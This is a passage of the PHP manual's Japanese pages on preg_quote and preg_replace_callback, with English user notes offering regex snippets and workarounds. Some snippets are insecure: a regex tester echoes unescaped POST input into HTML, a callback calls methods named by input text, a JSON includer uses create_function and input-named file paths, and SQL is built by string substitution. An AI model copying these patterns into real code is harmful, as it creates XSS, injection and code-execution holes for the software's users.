            $regex = '/^(BE){0,1}[0]{0,1}[0-9]{9}$/i';
            break;
        case 'Bulgaria':
            $regex = '/^(BG){0,1}[0-9]{9,10}$/i';
            break;
        case 'Cyprus':
            $regex = '/^(CY){0,1}[0-9]{8}[A-Z]$/i';
            break;
        case 'Czech Republic':
            $regex = '/^(CZ){0,1}[0-9]{8,10}$/i';
            break;
        case 'Denmark':
            $regex = '/^(DK){0,1}([0-9]{2}[\ ]{0,1}){3}[0-9]{2}$/i';
            break;
        case 'Estonia':
        case 'Germany':
        case 'Greece':
        case 'Portugal':
            $regex = '/^(EE|EL|DE|PT){0,1}[0-9]{9}$/i';
            break;
        case 'France':
            $regex = '/^(FR){0,1}[0-9A-Z]{2}[\ ]{0,1}[0-9]{9}$/i';
            break;
        case 'Finland':
        case 'Hungary':
        case 'Luxembourg':
        case 'Malta':
        case 'Slovenia':
            $regex = '/^(FI|HU|LU|MT|SI){0,1}[0-9]{8}$/i';
            break;
        case 'Ireland':
            $regex = '/^(IE){0,1}[0-9][0-9A-Z\+\*][0-9]{5}[A-Z]$/i';
            break;
        case 'Italy':
        case 'Latvia':
            $regex = '/^(IT|LV){0,1}[0-9]{11}$/i';
            break;
        case 'Lithuania':
            $regex = '/^(LT){0,1}([0-9]{9}|[0-9]{12})$/i';
            break;
        case 'Netherlands':
            $regex = '/^(NL){0,1}[0-9]{9}B[0-9]{2}$/i';
            break;
        case 'Poland':
        case 'Slovakia':
            $regex = '/^(PL|SK){0,1}[0-9]{10}$/i';
            break;
        case 'Romania':
            $regex = '/^(RO){0,1}[0-9]{2,10}$/i';
            break;
        case 'Sweden':
            $regex = '/^(SE){0,1}[0-9]{12}$/i';
            break;
        case 'Spain':
            $regex = '/^(ES){0,1}([0-9A-Z][0-9]{7}[A-Z])|([A-Z][0-9]{7}[0-9A-Z])$/i';
            break;
        case 'United Kingdom':
            $regex = '/^(GB){0,1}([1-9][0-9]{2}[\ ]{0,1}[0-9]{4}[\ ]{0,1}[0-9]{2})|([1-9][0-9]{2}[\ ]{0,1}[0-9]{4}[\ ]{0,1}[0-9]{2}[\ ]{0,1}[0-9]{3})|((GD|HA)[0-9]{3})$/i';
            break;
        default:
            return -1;
            break;
    }

    return preg_match($regex, $vat_number);
}
?>
matt 08-May-2009 01:07
To support large Unicode ranges (ie: [\x{E000}-\x{FFFD}] or \x{10FFFFF}) you must use the modifier '/u' at the end of your expression.
corey [works at] effim [delete] .com 24-Apr-2009 08:52
I see a lot of people trying to put together phone regex's and struggling (hey, no worries...they're complicated). Here's one that we use that's pretty nifty. It's not perfect, but it should work for most non-idealists.

*** Note: Only matches U.S. phone numbers. ***

<?php

// all on one line...
$regex = '/^(?:1(?:[. -])?)?(?:\((?=\d{3}\)))?([2-9]\d{2})(?:(?<=\(\d{3})\))? ?(?:(?<=\d{3})[.-])?([2-9]\d{2})[. -]?(\d{4})(?: (?i:ext)\.? ?(\d{1,5}))?$/';

// or broken up
$regex = '/^(?:1(?:[. -])?)?(?:\((?=\d{3}\)))?([2-9]\d{2})'
        .'(?:(?<=\(\d{3})\))? ?(?:(?<=\d{3})[.-])?([2-9]\d{2})'
        .'[. -]?(\d{4})(?: (?i:ext)\.? ?(\d{1,5}))?$/';

?>

If you're wondering why all the non-capturing subpatterns (which look like this "(?:", it's so that we can do this:

<?php

$formatted = preg_replace($regex, '($1) $2-$3 ext. $4', $phoneNumber);

// or, provided you use the $matches argument in preg_match

$formatted = "($matches[1]) $matches[2]-$matches[3]";
if ($matches[4]) $formatted .= " $matches[4]";

?>

*** Results: ***
520-555-5542 :: MATCH
520.555.5542 :: MATCH
5205555542 :: MATCH
520 555 5542 :: MATCH
520) 555-5542 :: FAIL
(520 555-5542 :: FAIL
(520)555-5542 :: MATCH
(520) 555-5542 :: MATCH
(520) 555 5542 :: MATCH
520-555.5542 :: MATCH
520 555-0555 :: MATCH
(520)5555542 :: MATCH
520.555-4523 :: MATCH
19991114444 :: FAIL
19995554444 :: MATCH
514 555 1231 :: MATCH
1 555 555 5555 :: MATCH
1.555.555.5555 :: MATCH
1-555-555-5555 :: MATCH
520-555-5542 ext.123 :: MATCH
520.555.5542 EXT 123 :: MATCH
5205555542 Ext. 7712 :: MATCH
520 555 5542 ext 5 :: MATCH
520) 555-5542 :: FAIL
(520 555-5542 :: FAIL
(520)555-5542 ext .4 :: FAIL
(512) 555-1234 ext. 123 :: MATCH
1(555)555-5555 :: MATCH
daevid at daevid dot com 06-Mar-2009 03:18
I just learned about named groups from a Python friend today and was curious if PHP supported them, guess what -- it does!!!

http://www.regular-expressions.info/named.html

<?php
   preg_match("/(?P<foo>abc)(.*)(?P<bar>xyz)/",
                       'abcdefghijklmnopqrstuvwxyz',
                       $matches);
   print_r($matches);
?>

will produce:

Array
(
    [0] => abcdefghijklmnopqrstuvwxyz
    [foo] => abc
    [1] => abc
    [2] => defghijklmnopqrstuvw
    [bar] => xyz
    [3] => xyz
)

Note that you actually get the named group as well as the numerical key
value too, so if you do use them, and you're counting array elements, be
aware that your array might be bigger than you initially expect it to be.
wjaspers4 [at] gmail [dot] com 27-Feb-2009 03:16
I recently encountered a problem trying to capture multiple instances of named subpatterns from filenames.
Therefore, I came up with this function.

The function allows you to pass through flags (in this version it applies to all expressions tested), and generates an array of search results.

Enjoy!

<?php

/**
 * Allows multiple expressions to be tested on one string.
 * This will return a boolean, however you may want to alter this.
 *
 * @author William Jaspers, IV <wjaspers4@gmail.com>
 * @created 2009-02-27 17:00:00 +6:00:00 GMT
 * @access public
 *
 * @param array $patterns An array of expressions to be tested.
 * @param String $subject The data to test.
 * @param array $findings Optional argument to store our results.
 * @param mixed $flags Pass-thru argument to allow normal flags to apply to all tested expressions.
 * @param array $errors A storage bin for errors
 *
 * @returns bool Whether or not errors occurred.
 */
function preg_match_multiple(
  array $patterns=array(),
  $subject=null,
  &$findings=array(),
  $flags=false,
  &$errors=array()
) {
  foreach( $patterns as $name => $pattern )
  {
    if( 1 <= preg_match_all( $pattern, $subject, $found, $flags ) )
    {
      $findings[$name] = $found;
    } else
    {
      if( PREG_NO_ERROR !== ( $code = preg_last_error() ))
      {
        $errors[$name] = $code;
      } else $findings[$name] = array();
    }
  }
  return (0===sizeof($errors));
}
?>
skds1433 at hotmail dot com 19-Feb-2009 06:41
here is a small tool for someone learning to use regular expressions. it's very basic, and allows you to try different patterns and combinations. I made it to help me, because I like to try different things, to get a good understanding of how things work.

<?php
$search = isset($_POST['search'])?$_POST['search']:"//";
$match = isset($_POST['match'])?$_POST['match']:"<>";

echo '<form method="post">';
echo 's: <input style="width:400px;" name="search" type="text" value="'.$search.'" /><br />';
echo 'm:<input style="width:400px;" name="match" type="text" value="'.$match.'" /><input type="submit" value="go" /></form><br />';
if (preg_match($search, $match)){echo "matches";}else{echo "no match";}
?>
akniep at rayo dot info 30-Jan-2009 03:05
Bugs of preg_match (PHP-version 5.2.5)

In most cases, the following example will show one of two PHP-bugs discovered with preg_match depending on your PHP-version and configuration.

<?php

$text = "test=";
// creates a rather long text
for ($i = 0; $i++ < 100000;)
    $text .= "%AB";

// a typical URL_query validity-checker (the pattern's function does not matter for this example)
$pattern    = '/^(?:[;\/?:@&=+$,]|(?:[^\W_]|[-_.!~*\()\[\] ])|(?:%[\da-fA-F]{2}))*$/';

var_dump( preg_match( $pattern, $text ) );

?>

Possible bug (1):
=============
On one of our Linux-Servers the above example crashes PHP-execution with a C(?) Segmentation Fault(!). This seems to be a known bug (see http://bugs.php.net/bug.php?id=40909), but I don't know if it has been fixed, yet.
If you are looking for a work-around, the following code-snippet is what I found helpful. It wraps the possibly crashing preg_match call by decreasing the PCRE recursion limit in order to result in a Reg-Exp error instead of a PHP-crash.

<?php
[...]

// decrease the PCRE recursion limit for the (possibly dangerous) preg_match call
$former_recursion_limit = ini_set( "pcre.recursion_limit", 10000 );

// the wrapped preg_match call
$result = preg_match( $pattern, $text );

// reset the PCRE recursion limit to its original value
ini_set( "pcre.recursion_limit", $former_recursion_limit );

// if the reg-exp fails due to the decreased recursion limit we may not make any statement, but PHP-execution continues
if ( PREG_RECURSION_LIMIT_ERROR === preg_last_error() )
{
    // react on the failed regular expression here
    $result = [...];

    // do logging or email-sending here
    [...]
} //if

?>

Possible bug (2):
=============
On one of our Windows-Servers the above example does not crash PHP, but (directly) hits the recursion-limit. Here, the problem is that preg_match does not return boolean(false) as expected by the description / manual of above.
In short, preg_match seems to return an int(0) instead of the expected boolean(false) if the regular expression could not be executed due to the PCRE recursion-limit. So, if preg_match results in int(0) you seem to have to check preg_last_error() if maybe an error occurred.
phil dot taylor at gmail dot com 22-Oct-2008 05:01
If you need to check for .com.br and .com.au and .uk and all the other crazy domain endings i found the following expression works well if you want to validate an email address. Its quite generous in what it will allow

<?php

        $email_address = "phil.taylor@a_domain.tv";

    if (preg_match("/^[^@]*@[^@]*\.[^@]*$/", $email_address)) {
        return "E-mail address";
    }

?>
jonathan dot lydall at gmail dot removethispart dot com 26-May-2008 12:50
Because making a truly correct email validation function is harder than one may think, consider using this one which comes with PHP through the filter_var function (http://www.php.net/manual/en/function.filter-var.php):

<?php
$email = "someone@domain .local";

if(!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    echo "E-mail is not valid";
} else {
    echo "E-mail is valid";
}
?>


正規表現文字をクオートする

  • ≪ preg_match
  • preg_replace_callback_array ≫
  • PHP Manual
  • PCRE 関数
  • 正規表現文字をクオートする

preg_quote

(PHP 4, PHP 5, PHP 7, PHP 8)

preg_quote — 正規表現文字をクオートする

説明

preg_quote ( string $str , string|null $delimiter = null ) : string

preg_quote() は、str を引数とし、正規表現構文の特殊文字の前にバックスラッシュを挿入します。 この関数は、実行時に生成される文字列をパターンとしてマッチングを行う必要があり、 その文字列には正規表現の特殊文字が含まれているかも知れない場合に有用です。

正規表現の特殊文字は、次のものです。 . \ + * ? [ ^ ] $ ( ) { } = ! < > | : - #

/ は正規表現の特殊文字ではないことに注意しましょう。

注意:

preg_quote() は、 preg_replace() などにおける $replacement 文字列に使うことを想定したものではありません。

パラメータ

str

入力文字列。

delimiter

オプションの delimiter を指定すると、 ここで指定した文字もエスケープされます。これは、PCRE 関数が使用する デリミタをエスケープする場合に便利です。/ がデリミタとしては 最も一般的に使用されています。

返り値

クォートされた (エスケープした) 文字列を返します。

変更履歴

バージョン | 説明
7.3.0 | # 文字がクォートされるようになりました。
7.2.0 | delimiter は、nullable になりました。

例

例1 preg_quote() の例

<?php
$keywords = '$40 for a g3/400';
$keywords = preg_quote($keywords, '/');
echo $keywords; // \$40 for a g3\/400 を返します
?>

例2 テキスト内の単語の斜体変換

<?php
// この例では、preg_quote($word) を使って、アスタリスクが
// 正規表現での特殊な意味を帯びないようにしています

$textbody = "This book is *very* difficult to find.";
$word = "*very*";
$textbody = preg_replace ("/" . preg_quote($word, '/') . "/",
                          "<i>" . $word . "</i>",
                          $textbody);
?>

注意

注意: この関数はバイナリデータに対応しています。

参考

  • PCRE パターン
  • escapeshellcmd() - シェルのメタ文字をエスケープする

User Contributed Notes

Anonymous 05-Feb-2021 09:34
I discovered that, in addition to escaping the special regular expression characters, preg_quote() encodes the NUL byte to its octal representation:

<?php
var_dump(preg_quote("\0"));
?>

Output:

string(4) "\000"
rawr at t-regx dot com 28-Jan-2021 12:56
To have a higher level control of what your pattern looks like, try T-Regx:

Pattern::inject('This is (my|our) pattern: @', [$_GET['name']]);
ed at happysoftware dot com 22-May-2019 07:31
It should be noted that the forward slash is not escaped.  Since many regexes are surrounded by forward slashes, if you have one in your regex as  text you must escape it yourself otherwise it'll terminat the regex.
noreply at t-regx dot com 20-May-2019 08:28
If you find yourself using too much of preg_quote(), it's a good sign you might want to use Prepared Patterns from T-Regx library: https://t-regx.com/docs/handling-user-input
rwillmann at crooce dot com 25-Aug-2017 11:53
List of specials is incomplete:

--- sample code ---

$specials = '.\+*?[^]$(){}=!<>|:-';

for ($i = 0; $i <= 255; $i++) {

    if (chr($i) !== preg_quote(chr($i))) {

        printf("Character 0x%02x quoted%s\n",
               $i,
               (strpos($specials, chr($i)) === FALSE) ? ' (+)' : '');
    } /* if */
} /* for */

--- sample code ---

--- output ---

Character 0x00 quoted (+)
Character 0x21 quoted
Character 0x24 quoted
Character 0x28 quoted
Character 0x29 quoted
Character 0x2a quoted
Character 0x2b quoted
Character 0x2d quoted
Character 0x2e quoted
Character 0x3a quoted
Character 0x3c quoted
Character 0x3d quoted
Character 0x3e quoted
Character 0x3f quoted
Character 0x5b quoted
Character 0x5c quoted
Character 0x5d quoted
Character 0x5e quoted
Character 0x7b quoted
Character 0x7c quoted
Character 0x7d quoted

--- output ---
zooly 21-Jul-2009 01:07
To escape characters with special meaning, like: .-[]() and so on, use \Q and \E.

For example:

<?php echo ( preg_match('/^'.( $myvar = 'te.t' ).'$/i', 'test') ? 'match' : 'nomatch' ); ?>

Will result in: match

But:

<?php echo ( preg_match('/^\Q'.( $myvar = 'te.t' ).'\E$/i', 'test') ? 'match' : 'nomatch' ); ?>

Will result in: nomatch
Anonymous 26-Dec-2007 03:13
Wondering why your preg_replace fails, even if you have used preg_quote?

Try adding the delimiter / - preg_quote($string, '/');


正規表現検索を行い、コールバック関数を使用して置換を行う

  • ≪ preg_quote
  • preg_replace_callback ≫
  • PHP Manual
  • PCRE 関数
  • 正規表現検索を行い、コールバック関数を使用して置換を行う

preg_replace_callback_array

(PHP 7, PHP 8)

preg_replace_callback_array — 正規表現検索を行い、コールバック関数を使用して置換を行う

説明

preg_replace_callback_array ( array $pattern , string|array $subject , int $limit = -1 , int &$count = null , int $flags = 0 ) : string|array|null

この関数の動作は、preg_replace_callback() に似ていますが、 コールバック関数が、パターン単位ペースで実行されるところが異なります。

パラメータ

pattern

パターンをキーとし、callable を値とする連想配列です。

subject

文字列あるいは文字列の配列で、 検索および置換の対象となる文字列を指定します。

limit

subject 文字列における 各パターンの最大置換回数。デフォルトは -1 (無制限) です。

count

指定した場合は、置換を行った回数がここに格納されます。

flags

flags には、 PREG_OFFSET_CAPTURE と PREG_UNMATCHED_AS_NULL の組み合わせが指定できます。 これは matches 配列のフォーマットに影響します。 詳細は preg_match() 関数の説明を参照してください。

返り値

preg_replace_callback_array() は、 subject が配列の場合には配列を、 それ以外の場合は文字列を返します。 エラー時の返り値は null となります。

マッチするものが見つかった場合は新しい subject を返し、それ以外の場合はもとの subject をそのまま返します。

変更履歴

バージョン | 説明
7.4.0 | パラメータ flags が追加されました。

例

例1 preg_replace_callback_array() の例

<?php
$subject = 'Aaaaaa Bbb';

preg_replace_callback_array(
    [
        '~[a]+~i' => function ($match) {
            echo strlen($match[0]), ' matches for "a" found', PHP_EOL;
        },
        '~[b]+~i' => function ($match) {
            echo strlen($match[0]), ' matches for "b" found', PHP_EOL;
        }
    ],
    $subject
);
?>

上の例の出力は以下となります。

6 matches for "a" found
3 matches for "b" found

参考

  • PCRE のパターン
  • preg_replace_callback() - 正規表現検索を行い、コールバック関数を使用して置換を行う
  • preg_quote() - 正規表現文字をクオートする
  • preg_replace() - 正規表現検索および置換を行う
  • preg_last_error() - 直近の PCRE 正規表現処理のエラーコードを返す
  • 無名関数

User Contributed Notes

Sz. 25-Jan-2018 05:24
Based on some tests, I found these important traits of the function. (These would
be nice to see documented as part of its spec, e.g. for confirmation. Without that,
this is just experimental curiosity. Still better than guesswork, though! ;) )

1. Changes cascade over a subject across callbacks, i.e. a change made to a
   subject by a callback will be seen by the next callback, if its pattern matches
   the changed subject.
   (But a change made by a previous call of the *same* callback (on any subject)
   will not be seen by that callback again.)

2. The pattern + callback pairs will be applied in the order of their appearance
   in $patterns_and_callbacks.

3. The callback can't be null (or '') for a quick shortcut for empty replacements.

4. Overall, the algorithm starts iterating over $patterns_and_callbacks, and then
   feeds each $subject to the current callback, repeatedly for every single match
   of its pattern on the current subject (unlike "preg_match_all", that is, which
   can do the same in one go, returning the accumulated results in an array).

   This basically means that the "crown jewel", an even more efficient function:
   "preg_replace_all_callback_array" is still missing from the collection.

   (Of course, that would better fit a new design of the regex API, where one
   API could flexibly handle various different modes via some $flags = [] array.)

5. (This last one is not specific to this function, but inherent to regexes, OTOH,
   it's probably more relevant here than anywhere else in PHP's regex support.)

   Even apparently simple cases can generate a crazy (and difficult-to-predict)
   number of matches, and therefore callback invokations, so remember the set
   $limit, where affordable. But, of course, try to sharpen your patterns first!

   E.g. use ^...$ anchoring to avoid unintended extra calls on matching substrings
   of a subject, (I.e. '/.*/', without anchoring, would match twice: once for the
   whole subject, and then for a trailing empty substring -- but I'm not quite sure
   this should actually be correct behavior, though.)
jfcherng at NOSPAM dot gmail dot com 29-Dec-2015 06:25
Here's a possible alternative in older PHP.

<?php

// if (!function_exists('preg_replace_callback_array')) {

function preg_replace_callback_array (array $patterns_and_callbacks, $subject, $limit=-1, &$count=NULL) {
    $count = 0;
    foreach ($patterns_and_callbacks as $pattern => &$callback) {
        $subject = preg_replace_callback($pattern, $callback, $subject, $limit, $partial_count);
        $count += $partial_count;
    }
    return preg_last_error() == PREG_NO_ERROR ? $subject : NULL;
}

// }

?>
drevilkuko at gmail dot com 09-Dec-2015 12:24
finally!!!

before (<=php5.6):

<?php
        $htmlString = preg_replace_callback(
            '/(href="?)(\S+)("?)/i',
            function (&$matches) {
                return $matches[1] . urldecode($matches[2]) . $matches[3];
            },
            $htmlString
        );

        $htmlString = preg_replace_callback(
            '/(href="?\S+)(%24)(\S+)?"?/i', // %24 = $
            function (&$matches) {
                return urldecode($matches[1] . '$' . $matches[3]);
            },
            $htmlString
        );
?>

php7

<?php

        $htmlString = preg_replace_callback_array(
            [
                '/(href="?)(\S+)("?)/i' => function (&$matches) {
                    return $matches[1] . urldecode($matches[2]) . $matches[3];
                },
                '/(href="?\S+)(%24)(\S+)?"?/i' => function (&$matches) {
                    return urldecode($matches[1] . '$' . $matches[3]);
                }
            ],
            $htmlString
        );
?>


正規表現検索を行い、コールバック関数を使用して置換を行う

  • ≪ preg_replace_callback_array
  • preg_replace ≫
  • PHP Manual
  • PCRE 関数
  • 正規表現検索を行い、コールバック関数を使用して置換を行う

preg_replace_callback

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

preg_replace_callback — 正規表現検索を行い、コールバック関数を使用して置換を行う

説明

preg_replace_callback ( string|array $pattern , callable $callback , string|array $subject , int $limit = -1 , int &$count = null , int $flags = 0 ) : string|array|null

この関数の動作は、ほぼ preg_replace() と同じですが、 replacement の代わりに callback を指定するところが異なります。

パラメータ

pattern

検索するパターン。 文字列あるいは文字列の配列のいずれかとなります。

callback

このコールバック関数は、検索対象文字列でマッチした要素の配列が指定されて コールされます。このコールバック関数は、置換後の文字列を返す必要があります。 コールバックのシグネチャは、次のとおりです。

handler ( array $matches ) : string

preg_replace_callback() 用の callback 関数が、 ひとつの場所だけで必要となることがあります。 そんな場合は、 無名関数 を使って宣言した無名関数を preg_replace_callback() のコール時に使用します。 このようにすることにより、コールに関するすべての情報を 1 ヶ所に集め、 他の場所で使用されないコールバック関数名で関数の名前空間を 汚染しないようにすることができます。

例1 preg_replace_callback() と無名関数

<?php
/* Unix 方式のコマンドラインフィルタです。
 * 段落の冒頭の大文字を、小文字に変換します。*/
$fp = fopen("php://stdin", "r") or die("標準入力から読み込めません");
while (!feof($fp)) {
    $line = fgets($fp);
    $line = preg_replace_callback(
        '|<p>\s*\w|',
        function ($matches) {
            return strtolower($matches[0]);
        },
        $line
    );
    echo $line;
}
fclose($fp);
?>

subject

文字列あるいは文字列の配列で、 検索および置換の対象となる文字列を指定します。

limit

subject 文字列における 各パターンの最大置換回数。デフォルトは -1 (無制限) です。

count

指定した場合は、置換を行った回数がここに格納されます。

flags

flags には、 PREG_OFFSET_CAPTURE と PREG_UNMATCHED_AS_NULL の組み合わせが指定できます。 これは matches 配列のフォーマットに影響します。 詳細は preg_match() 関数の説明を参照してください。

返り値

preg_replace_callback() は、 subject が配列の場合には配列を、 それ以外の場合は文字列を返します。 エラー時の返り値は null となります。

マッチするものが見つかった場合は新しい subject を返し、それ以外の場合はもとの subject をそのまま返します。

変更履歴

バージョン | 説明
7.4.0 | パラメータ flags が追加されました。

例

例2 preg_replace_callback() の例

<?php
// このテキストは 2002 に使われていたものなのですが、
// これを 2003 年対応の日付に変更したいのです
$text = "エイプリルフールの日付は 04/01/2002 です\n";
$text.= "この前のクリスマスの日付は 12/24/2001 でした\n";
// コールバック関数
function next_year($matches)
{
  // 通常は、$matches[0] がマッチした全体を表します。
  // $matches[1] は、マッチした中で、パターン内の最初の '(...)'
  // にあてはまる部分を表します。それ以降も同様です。
  return $matches[1].($matches[2]+1);
}
echo preg_replace_callback(
            "|(\d{2}/\d{2}/)(\d{4})|",
            "next_year",
            $text);

?>

上の例の出力は以下となります。

エイプリルフールの日付は 04/01/2003 です
この前のクリスマスの日付は 12/24/2002 でした

例3 カプセル化された BB code を処理するための、 preg_replace_callback() での再帰構造の使用

<?php
$input = "通常の位置 [indent] 字下げ [indent] もっと字下げ [/indent] 字下げ [/indent] 通常の位置";

function parseTagsRecursive($input)
{

    $regex = '#\[indent]((?:[^[]|\[(?!/?indent])|(?R))+)\[/indent]#';

    if (is_array($input)) {
        $input = '<div style="margin-left: 10px">'.$input[1].'</div>';
    }

    return preg_replace_callback($regex, 'parseTagsRecursive', $input);
}

$output = parseTagsRecursive($input);

echo $output;
?>

参考

  • PCRE のパターン
  • preg_replace_callback_array() - 正規表現検索を行い、コールバック関数を使用して置換を行う
  • preg_quote() - 正規表現文字をクオートする
  • preg_replace() - 正規表現検索および置換を行う
  • preg_last_error() - 直近の PCRE 正規表現処理のエラーコードを返す
  • 無名関数

User Contributed Notes

2962051004 at qq dot com 03-Oct-2018 04:03
<?php

/**
 * 将中文??Html?体
 * Turning Chinese into Html entity
 * Author QiangGe
 * Mail 2962051004@qq.com
 *
*/

$str = <<<EOT
?好 world
EOT;

function ChineseToEntity($str) {
 return preg_replace_callback(
        '/[\x{4e00}-\x{9fa5}]/u', // utf-8
        // '/[\x7f-\xff]+/', // if gb2312
        function ($matches) {
            $json = json_encode(array($matches[0]));
            preg_match('/\[\"(.*)\"\]/', $json, $arr);
            /*
             * 通?json_encode函数将中文??unicode
             * 然后用正?取出unicode
             * Turn the Chinese into Unicode through the json_encode function, then extract Unicode from regular.
             * I think this idea is seamless.
            */
            return '&#x'. str_replace('\\u', '', $arr[1]). ';';
        }, $str
   );
}

echo ChineseToEntity($str);
// &#x4f60;&#x597d; world
tgage at nobigfoot dot com 26-Jun-2018 08:00
To use variable from the parent scope of the anonymous callback function passed to preg_replace_callback(), utilize the use() parameter.

$var1 = "one";
$var2 = "two";
$line = preg_replace_callback('/^.*$/',
            function( $matches ) use ( $var1, $var2 ) {
                return( $var1 . " " . $var2 );
            }, $line);

Will replace the entire string with the concatenated values or $var1 and $var2 ("one two") from the parent scope.
steven at nevvix dot com 15-Jun-2018 03:34
<?php
$format = <<<SQL
CREATE DATABASE IF NOT EXISTS :database;
GRANT ALL PRIVILEGES ON :database_name.* TO ':user'@':host';
SET PASSWORD = PASSWORD(':pass');
SQL;
$args = ["database"=>"people", "user"=>"staff", "pass"=>"pass123", "host"=>"localhost"];

preg_replace_callback("/:(\w+)/", function ($matches) use ($args) {
    return @$args[$matches[1]] ?: $matches[0];
}, $format);

/*
Result:

CREATE DATABASE IF NOT EXISTS people;
GRANT ALL PRIVILEGES ON :database_name.* TO 'staff'@'localhost';
SET PASSWORD = PASSWORD('pass123');

The `:database_name` placeholder doesn't exist as a matching key in `$args` so it's returned as is.
This way you know you need to correct the array by adding the "database_name" item.
*/
Fredow 03-Mar-2015 03:35
<?php
// Nice little function that convert a string to uppercase by keeping the HTMLentities intact.
public static function strtoupper_entities($str) {

    $patternMajEntities = '/(\&([A-Z])(ACUTE|CEDIL|CARON|CIRC|GRAVE|ORN|RING|SLASH|TH|TILDE|UML)\;)+/';
    $str = preg_replace_callback ($patternMajEntities,
        function ($matches) {
            return "&" . $matches[2] . strtolower($matches[3]) . ";";
        }, strtoupper($str));

    return $str;
}
Anteaus 02-Jan-2015 08:54
Be aware that as of php5.4 you MUST NOT pass variables by reference, as in  '[, int &$count ]' - if you do it will result in a fatal error.
I think the writer is trying to say that the function accepts the parameter by reference, but that is not how it reads. -Manual needs updating/clarifying ?
Underdog 07-Feb-2014 03:33
For the callback I advise only to use a permanent or anonymous function.

Depending on the usage you may encounter memory issues when using create_function for the callback possibly due to attempts at being compatible with PHP 5.2 or prior. Some servers  refuse to update their PHP  for whatever reason.

Please peruse the create_function documentation for more details regarding its memory usage.

Regards.
T-Soloveychik at ya dot ru 20-Jul-2013 02:41
Text lines numeration:
<?PHP
// Multieline text:
    $Text = "
Some
Multieline
text
for
numeration";

// For count:
    $GLOBALS["LineNUMBER"] = 1;

// Replace linestart on number:
    PRINT preg_replace_callback("/^/m",function ()
        {
            return $GLOBALS["LineNUMBER"]++."  ";
        },
        $Text);

?>

1
2 Some
3 Multieline
4 text
5 for
6 numeration
kkatpki 18-Jun-2013 02:41
Note that, as of PHP 5.3, it seems that named subpatterns are now included in the matches array by their named key as well as their numerical key.

To build off of Chris' previous example, as of PHP 5.3, you *can* do

<?php

preg_replace_callback('/(?<char>[a-z])/', 'callback', 'word');

function callback($matches) {
    var_dump($matches);
}

?>

and expect to get $matches['char'] in your function. * BUT ONLY AS OF PHP 5.3 *

Please be mindful of this if you intend to support PHP 5.2.
Yuri 14-Oct-2012 10:27
If you want to call non-static function inside your class, you can do something like this.

For PHP 5.2 use second argument like array($this, 'replace'):
<?php
class test_preg_callback{

  private function process($text){
    $reg = "/\{([0-9a-zA-Z\- ]+)\:([0-9a-zA-Z\- ]+):?\}/";
    return preg_replace_callback($reg, array($this, 'replace'), $text);
  }

  private function replace($matches){
    if (method_exists($this, $matches[1])){
      return @$this->$matches[1]($matches[2]);
    }
  }
}
?>

For PHP 5.3 use second argument like "self::replace":
<?php
class test_preg_callback{

  private function process($text){
    $reg = "/\{([0-9a-zA-Z\- ]+)\:([0-9a-zA-Z\- ]+):?\}/";
    return preg_replace_callback($reg, "self::replace", $text);
  }

  private function replace($matches){
    if (method_exists($this, $matches[1])){
      return @$this->$matches[1]($matches[2]);
    }
  }
}
?>
Richard 04-Sep-2012 10:59
The easiest way to pass more than one parameters to the callback function is with the 'use' keyword.

[This is better than using global, because it works even when we are already inside a function.]

In this example, the callback function is an anonymous function, which takes one argument, $match, supplied by preg_replace_callback().  The extra
"use ($ten)" puts the $ten variable into scope for the function.

<?php
$string = "Some numbers: one: 1; two: 2; three: 3 end";
$ten = 10;
$newstring = preg_replace_callback(
    '/(\\d+)/',
    function($match) use ($ten) { return (($match[0] + $ten)); },
    $string
    );
echo $newstring;
#prints "Some numbers: one: 11; two: 12; three: 13 end";
?>
development at HashNotAdam dot com 19-Jun-2012 05:47
From PHP 5.3 you can use an anonymous function to pass local variables into the callback.

<?php

public function replace_variables( $subject, $otherVars ) {
    $linkPatterns = array(
        '/(<a .*)href=(")([^"]*)"([^>]*)>/U',
        "/(<a .*)href=(')([^']*)'([^>]*)>/U"
    );

    $callback = function( $matches ) use ( $otherVars ) {
        $this->replace_callback($matches, $otherVars);
    };

    return preg_replace_callback($this->patterns, $callback, $subject);
}

public function replace_callback($matches, $otherVars) {
    return $matches[1] . $otherVars['myVar'];
}
?>
Florian Arndt 26-Jan-2012 12:26
This small class allows PHP users to read JSON files with include statements in them. For instance the include {{{ "relative/to/including.json" }}} is replaced by the content of the json file located at "relative/to/including.json".

<?php
    /**
     * Handles JSON files with includes
     * Purpose: handle bigger JSON files by featuring "includes"
     *
     * @author Florian Arndt
     */
    class JWI {
        /**
         * Parses a JSON file and returns its contents
         * @param String $filename
         */
        static function read($filename) {
            if(!file_exists($filename))
                throw new Exception('<b>JWI Error: JSON file <tt>'.$filename.'</tt> not found!</b>');
            $content = join('', file($filename));
            $dir = dirname($filename);
            /**
             * replace
             *   include statements
             * with
             *   content of the file to include
             * recursively
             */
            $content = preg_replace_callback(
                '/{{{\s*"\s*(.+)\s*"\s*}}}/', // >include file< - pattern
                create_function(
                    '$matches', // callback parameter
                    sprintf(
                        '$fn = "%s/".$matches[1];'.
                        'return JWI::read($fn);',
                        realpath(dirname($filename))
                    )
                ),
                $content
            );
            return $content;
        }
    }
alex dot cs00 at yahoo dot ca 06-Oct-2010 02:09
Don't use this function to fetch BBCode, as explained. If you have some text that runs over 5000 chars (average), it will run out of its limit and makes you download the PHP page.

According to this, you should instead use something more advanced yet complex. You will need a function called "str_replace_once()" (search for it), one called "countWord()", the famous "after()", "before()", "between()".

str_replace_once does same as str_replace, but only replace first occurence. As for countWord, I guess you know how to count the number of a word occurence. As for after, before and between, this is a function that you may find easily somewhere on the site by a user. Else, you can do it.

The following function is able to do all blocks, supposing [code] and [/code], you might wish things between parents dont get parsed, including [code] if inside of another [code].

<?php
function prepareCode($code, $op, $end)
{
    $ix = 0;
    $iy = 0;
    $nbr_Op = countWord($op, $code);
    while($ix < $nbr_Op)
    {
        if(in_string($op, before($end, $code), false))
        {
            // The following piece of code replace the default [tag] by [tag:#]
            $code = str_replace_once($op, substr($op, 0, -1).':'.$ix.']', $code);
            $iy++;
        }
        elseif(in_string($end, before($op, $code), false))
        {
            $iy = $iy-1;
            $code = str_replace_once($end, substr($end, 0, -1).':'.($ix-1).']', $code);
            $ix = $ix-2;
        }
        $ix++;
    }
    while(in_string($end, $code))
    {
        $code = str_replace_once($end, substr($end, 0, -1).':'.($iy-1).']', $code);
        $iy=$iy-1;
    }

    $code = preg_replace('#\\'.substr($end, 0, 1).':-[0-9]\]#i', '', $code);
    if(in_string(substr($op, 0, -1).':0]', $code) && !in_string(substr($end, 0, -1).':0]', $code))
    {
        $code .= substr($end, 0, -1).":0]";
    }
    return $code;
